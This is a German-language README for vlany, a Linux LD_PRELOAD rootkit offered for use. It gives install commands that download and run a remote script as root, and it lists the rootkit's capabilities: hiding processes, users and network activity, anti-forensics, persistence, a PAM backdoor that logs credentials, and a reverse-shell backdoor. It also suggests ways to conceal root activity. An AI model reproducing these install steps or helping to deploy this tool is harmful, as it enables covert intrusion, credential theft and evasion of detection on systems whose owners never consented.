vlany

VLANY WIRD NICHT MEHR GEWARTET.

https://github.com/naworkcaj/bdvl IS. Bitte beachten Sie dies für ständige Aktualisierungen.

vlany (Wiki)

vlany ist ein Linux LD_PRELOAD-Rootkit .

• Liste der Funktionen
  
• Anti-Erkennung

Installieren

• Das Skript „quick_install.sh“ von vlany ist die schnellste/einfachste Installationsmethode.
  root@vlany:~# wget https://gist.githubusercontent.com/mempodippy/d93fd99164bace9e63752afb791a896b/raw/6b06d235beac8590f56c47b7f46e2e4fac9cf584/quick_install.sh -O /tmp/quick_install.sh && chmod +x /tmp/quick_install.sh && /tmp/quick_install.sh
  
  Das Skript „quick_install.sh“ lädt automatisch die neueste Version von vlany aus diesem Repository herunter, entpackt das Archiv und führt dann das reguläre Installationsskript aus einem neuen zufälligen Verzeichnis in /tmp/ aus. Standardmäßig entfernt das Skript „quick_install.sh“ das neue Verzeichnis, sobald die Ausführung vollständig abgeschlossen ist.
  

• Die Installation von vlany auf einem System ist sehr einfach, da es über ein automatisiertes Installationsskript verfügt.
  Um vlany zu installieren, müssen Sie es zunächst von unserem GitHub herunterladen (immer aktuell und vertrauenswürdig).
  root@vlany:~# wget https://github.com/mempodippy/vlany/archive/master.tar.gz && tar xvpfz master.tar.gz

• Sobald es heruntergeladen ist, müssen Sie nur noch install.sh in vlany-master ausführen.
  root@vlany:~# cd vlany-master && ./install.sh
  Standardmäßig werden Sie dadurch zu einer TUI-Installation aufgefordert. Wenn Sie jedoch CLI bevorzugen, können Sie das Argument --cli verwenden, um eine ähnliche CLI-Installation aufzurufen.
  

ASCIICAST DER INSTALLATION

Reguläre TUI-Installation auf einer Debian 8-Box unter Verwendung einer Suid-Binärdatei, um die Berechtigungen eines TMP-Benutzers zu erweitern. In einem realen Szenario möchten Sie mit einigen Umgebungsvariablen experimentieren, um zu verhindern, dass jemand Ihre Aktivitäten als Root sieht.

Downloads

quick_install.sh
vlany.tar.gz
gefüllte const.h (nach der Ausführung von config.py)

Merkmale

• Prozessausblenden
• Benutzer versteckt sich
• Netzwerk versteckt
• LXC-Container
• Anti-Debug
• Anti-Forensik
• Permanente (Neu-)Installation und Anti-Erkennung
• Dynamische Linker-Modifikationen
• Hintertüren
  • Accept()-Hintertür (abgeleitet von Jynx2)
  • PAM-Hintertür
    • PAM-Authentifizierungslogger
  • Snodew Reverse-Shell-Hintertür
• vlany-exklusive Befehle

Bekannte Fehler

Alle hier aufgeführten Fehler bleiben bestehen, bis eine Lösung gefunden wurde. Wenn ein Fehler als Problem gemeldet wurde, wird das entsprechende Problem auch in der Fehlerliste verlinkt. Sollte ein Fehler behoben werden, wird die Auflistung von hier entfernt und wenn noch ein Problem im Zusammenhang mit dem Fehler offen ist, wird dieser geschlossen.

Schwerwiegende Fehler

1. Derzeit gibt es einen experimentellen Brick-Fix für den Neustart. Einige Systeme werden blockiert, andere nicht. Bitte melden Sie alle Systeme, die beim Neustart blockieren, als Problem und geben Sie im Bericht die Umstände der Vlany-Installation an. Schauen Sie auf der Seite „Probleme“ nach, ob bereits ein ähnliches Problem eingereicht wurde.
2. vlany kann unter CentOS 6.6 nicht korrekt installiert werden.

Ausführliche README.txt (sehr detailliert, aber nicht gepflegt)

HINWEIS: vlany befindet sich in der aktiven Entwicklung. An diesem Repository werden ständig Änderungen vorgenommen. Beachten Sie daher, dass vlany sehr experimentell ist.